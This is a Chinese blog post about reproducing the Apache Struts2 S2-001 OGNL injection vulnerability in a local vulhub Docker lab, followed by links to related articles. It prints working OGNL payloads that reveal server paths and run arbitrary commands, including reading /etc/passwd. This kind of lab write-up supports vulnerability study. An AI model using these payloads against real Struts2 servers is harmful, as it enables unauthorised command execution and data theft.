Struts2漏洞S2-001复现

【研究】Struts2漏洞之S2-001漏洞环境和POC 【研究】Struts2漏洞之S2-001漏洞环境和POC1.环境2.原理3.影响版本4.利用过程POC 1.环境 环境 https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md 这个搭环境很方便快捷,具体可以看说明,很简单 2.原理 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{v... 阅读详情

Struts2 漏洞S2-001复现学习笔记

S2-001复现

原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

漏洞环境搭建

https://github.com/vulhub/vulhub/tree/master/struts2/s2-001

运行以下命令进行设置

docker-compose build
docker-compose up -d

访问 http://127.0.0.1:8080/
在这里插入图片描述

漏洞poc测试

1.输入**%{‘123’}**,sumbit
在这里插入图片描述

2.返回123,参数值,证明漏洞存在
在这里插入图片描述

构造poc

  1. 获取tomcat路径:
    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    

在这里插入图片描述

语句执行后,查看返回的语句信息:
在这里插入图片描述

  1. 获取网站真实路径:
    %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
    

在这里插入图片描述
在这里插入图片描述

  1. 构造查看权限的poc:
    %{
    
    #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
    
    #b=#a.getInputStream(),
    
    #c=new java.io.InputStreamReader(#b),
    
    #d=new java.io.BufferedReader(#c),
    
    #e=new char[50000],
    
    #d.read(#e),
    
    #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
    
    #f.getWriter().println(new java.lang.String(#e)),
    
    #f.getWriter().flush(),#f.getWriter().close()
    
    }
    

在这里插入图片描述

  1. 执行任意命令只需要将上面的poc中whoami替换:
    %{
    
    #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
    
    #b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
    
    #d=new java.io.BufferedReader(#c),
    
    #e=new char[50000],#d.read(#e),
    
    #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
    
    #f.getWriter().println(new java.lang.String(#e)),
    
    #f.getWriter().flush(),
    
    #f.getWriter().close()
    
    }
    

在这里插入图片描述

  1. 执行命令(带参数的命令:new java.lang.String[]{"cat","/etc/passwd"}):
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

在这里插入图片描述

关闭docker环境

命令:docker-compose down -v
Struts2 漏洞复现之s2-001 Struts2 漏洞复现之s2-001 原理: 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。 复现步骤 1. 进入vulhub目录下漏洞环境的目录 cd vulhub-master/struts2/s2-001 阅读详情

相关推荐

vulhub struts2漏洞搭建与复现(s2-001 s2-005)

s2-001 github下载vulhub git clone https://github.com/vulhub/vulhub.git 下载完成后进入目录vulhub/struts2/s2-001 docker-compose up -d 启动 docker ps查看容器运行状态 浏览器访问ip+端口 查看目录vulhub/struts2/s2-001中的readme中文说明 S2-001 远程代码执行漏洞 原理 参考 http://rickgray.me/2016/05/06/rev

wocao___的博客 1123

一次绕过防火墙获取RCE以及提权到root权限的渗透过程

本文是关于Apache struts2 CVE-2013-2251是由于导致执行远程命令的影响而被高度利用的漏洞。简而言之,通过操纵以“action:”/”redirect:”/”redirectAction:”为前缀的参数引入的漏洞,允许在使用<Struts 2.3.15作为框架的Java Web应用程序中执行远程命令。 现在,当这个漏洞以病毒式疯狂传播时,主要的应用防火墙...

weixin_30667301的博客 680

[ vulhub漏洞复现篇 ] Struts2 远程命令执行漏洞(S2-001)

Struts2 远程命令执行漏洞(S2-001) 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。

qq_51577576的博客 1498

Apache Struts2远程代码执行漏洞(S2-001)复现

0x01 漏洞概述 1、漏洞名称 漏洞名称:Struts Remote Code Exploit 漏洞编号:Struts2-001 漏洞类型:Remote Code Execution 2、漏洞原理 Struts2 是流行和成熟的基于 MVC 设计模式的 Web 应用程序框架。 Struts2 不只是 Struts1 下一个版本,它是一个完全重写的 Struts 架构。Struts2 的标签中使用的是OGNL表达式,OGNL 是 Object Graphic Navigation Language(

m0_58606546的博客 2659

宇树G1双足机器人SLAM开发环境搭建实战指南

SLAM(同步定位与建图)是机器人自主导航的核心技术。在双足人形机器人平台上,由于运动模型复杂、机身晃动带来高频IMU噪声,SLAM开发对环境配置和依赖管理提出了更高要求。以宇树G1为例,系统阐述如何通过Ubuntu 20.04、ROS Noetic与Docker容器化方案构建可复现的SLAM开发环境。先介绍依赖分层管理与版本锁定原理,再深入catkin工作空间编译、传感器驱动集成、网络与多机通信配置等工程实践,最后提供常见问题排查与避坑指南。这套方法论不仅适用于G1,也可迁移至其他双足或轮式机器人平台,帮

weixin_32025789的博客 270

格拉姆角场(GAF)实战:用Python实现时间序列图像化处理

本文深入解析了格拉姆角场(GAF)技术,这是一种将一维时间序列转化为二维图像特征的方法,以便利用卷积神经网络(CNN)等图像模型进行深度分析。文章通过Python实战代码,详细演示了GASF和GADF两种核心转换的实现过程,并探讨了其在时序数据分类任务中的应用,为故障预警、金融模式识别等场景提供了强大的图像驱动分析视角。

weixin_29079671的博客 273

Struts2 系列漏洞 - S2-001

Struts2 是较早出现实现 MVC 思想的 java 框架。struts2 在 jsp 文件中使用 ognl 表达式来取出值栈中的数据。struts 标签与 ognl 表达式的关系类似于 jstl 标签与 el 表达式的关系。[故在 jsp 文件中需引入 struts 标签库]

YJ_12340的博客 612

【iceberg数据一致性】iceberg如何保证高并发数据一致性

那么在高并发的时候,同时操作某张表时是如何运作的呢?其实这里iceberg引用了乐观锁的方法。其实在写入数据的时候是有一个验证的操作的,即在准备写入时会检查原文件和带写入文件的差异,如果存在本次写入数据以外的数据,则代表有其他操作已经更新了原文件,那么本次写入会取消,并重试写入的步骤,知道验证完成,写入完成,如此就保证了数据的一致性,并且也解决了HMS锁的问题。在使用iceberg写数据时,一直弄不清楚为什么iceberg写入快,并且能够保证数据的一致性。今天决定搞清楚这个问题,经过查询和理解,写下来。

你的博客 1045

struts2(s2-001)远程代码执行漏洞docker&&vulhub复现

struts2(s2-001)远程代码执行漏洞docker&&vulhub复现

qq_43455259的博客 3174

SVPWM分析、各个扇区详细计算以及Matlab仿真

SVPWM分析以及各个扇区详细计算以及Matlab仿真说明目的两电平逆变器拓扑空间矢量扇区判断扇区内如何发波?矢量作用时间计算矢量切换时间的计算Simulink仿真/基于Matlab-R2014a版本 说明 第一次发文章,不太会用Markdown,word编辑的公式复制过来有些是乱码,因此都贴图了。 另外,本文公式和图片比较多,编辑工作量比较大,比较辛苦,转载的话,请注明出处,谢谢。 目的 由于在...

michaelf的博客 12万+

华三(H3C)网络设备配置命令大全与学习指南

本文全面介绍 H3C 网络设备的配置命令,涵盖路由器、交换机、ACL、NAT、VTY、SSH、本地用户、日志、STP、防火墙、QoS 等模块,适合网络工程初学者与运维人员参考。

DreamCollector的博客 6570

Struts2漏洞 (S2-001)漏洞原理及复现

Struts2中允许用户提交包含OGNL表达式字符串的表单数据; 若表单验证失败,服务器会将用户提交的OGNL表达式进行解析执行;

weixin_73180072的博客 1233

【图像去噪】论文复现:灵感源自MAE!进一步解决BSN的局限性,破坏真实噪声的空间相关性!AMSNet的Pytorch源码复现,跑通源码,原理详解!

论文题目:Asymmetric Mask Scheme for Self-Supervised Real Image Denoising —— 自监督真实图像去噪的非对称掩码方案【图像去噪】论文精读:Asymmetric Mask Scheme for Self-Supervised Real Image Denoising(AMSNet)AMSNet是基于PyTorch Lightning CLI深度学习框架编写的,比较适合复杂的大型任务,复用很方便,但是安装和环境配置问题太多。

主要更新底层视觉(去噪、超分等)相关的科研内容,形式为【论文精读】+【论文复现】 548

Struts2框架漏洞总结与复现(S2-001,S2-005,S2-007)

MVC(模型-视图-控制器)是一种常用的软件设计模式,用于分离应用程序的业务逻辑、数据和用户界面。它通过将应用程序分为三个核心组件(Model、View 和 Controller),实现了关注点分离,从而提高了代码的可维护性和扩展性。

Cccchuan_的博客 1904

Spring AI 实战:第五章、Spring AI本地模型部署之省钱小能手

白嫖的快乐你想象不到经过这番折腾,我们成功实现了零成本使用大模型完全本地运行保障隐私可视化访问Java生态无缝集成但可能有的小伙伴要吐槽,怎么换个底层模型这次就新建一个工程了呢?不能在以前的工程上开发吗?这样也太不优雅了吧~,我知道你很急,但先别急,等下一章节再来解决这个问题。为什么程序员特别喜欢Ollama?因为它就像一只温顺的羊驼——不花钱还能24小时产出代码!

liaokailin的专栏 922

python如何给声音增加回声效果

创建任何声音对象的回声效果。使用sndarray和numpy来创建原始声音的偏移和衰减副本。目前它只是使用硬编码的值来设置回声的数量和延迟。你可以根据自己的需要轻松地重新创建。这段注释说明了make_echo函数的用途和实现方式,即通过pygame的sndarray模块和numpy库来处理声音数据,生成具有回声效果的声音。函数中使用了固定的回声数量和延迟时间,但这些值可以根据用户的需求进行调整。

zhangzhechun的专栏 977

Apache Struts2漏洞复现之s2-001漏洞复现

Apache Struts 2是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java ServletAPI,鼓励开发者采用MVC架构。缘起于Apache Struts的WebWork框架,旨在提供相对于Struts框架的增强和改进,同时保留与Struts框架类似的结构。2005年12月,WebWork宣布WebWork 2.2以Apache Struts 2的名义合并至Struts。2007年2月第一个全发布(full release)版本释出。

热爱学习,喜欢折腾! 625

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

CVE与重要漏洞复现之Struts2漏洞S2-001

CVE与重要漏洞复现之Struts2漏洞S2-001

没有网络安全就没有国家安全 663

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Struts2 S2-001 远程代码执行漏洞——漏洞复现

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。​ 此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。

weixin_42090431的博客 285

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

Apache Struts2远程代码执行漏洞(S2-001)复现(1)

​ 此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。Struts 2允许用户提交包含 OGNL 表达式字符串的表单数据,若表单验证失败,则服务器会将用户之前提交的OGNL 表达式(如:%{1+1}) 进行解析执行,然后将结果重新填充到对应的表单数据中。但OGNL 解析代码实际上是在 XWork 中,struts2标签解析主要依赖于 xwork2,所以该漏洞可以理解为 xwork2 的漏洞。

2401_86437100的博客 1221

vulhub struts2 s2-001漏洞复现

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行。执行任意命令执行的是new java.lang.String[]{"pwd"}中的pwd命令,我们只需将pwd命令替换成我们想要的命令即可。可以看到环境启动成功。

weixin_54786196的博客 445

别再手动敲POC了!用Vulhub一键复现Struts2全系列漏洞(S2-001到S2-019)

本文介绍了如何使用Vulhub快速复现Struts2全系列漏洞(S2-001到S2-019),避免手动搭建环境的繁琐过程。通过Docker容器化技术,Vulhub实现了开箱即用的漏洞复现环境,大幅提升安全测试效率。文章详细讲解了环境配置、工具链优化以及批量验证实战技巧,帮助安全研究员快速掌握自动化漏洞检测方法。

weixin_42522552的博客 131

Apache Struts2远程代码执行漏洞(S2-001)复现总结

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录前言一、Struts2远程代码执行漏洞(S2-001)复现检验方法利用漏洞进行命令执行 前言 为了加深对struts漏洞的理解,记录下复现struts漏洞的过程. 一、Struts2远程代码执行漏洞(S2-001)复现 在这里使用墨者学院的靶场进行复现 检验方法 在表格中输入%{1+1}看返回结果是否为2 返回结果都为2,证明账户和密码表格处都存在这个漏洞 利用漏洞进行命令执行 输入以下代码进行命令执行 %{ #a=(new

qq_45746681的博客 2384
上一篇: JBoss5.x6.x反序列化漏洞(CVE-2017-12149)复现学习
下一篇: Struts2漏洞S2-005复现笔记
脚本实习生
博客等级 码龄8年 12粉丝 27原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值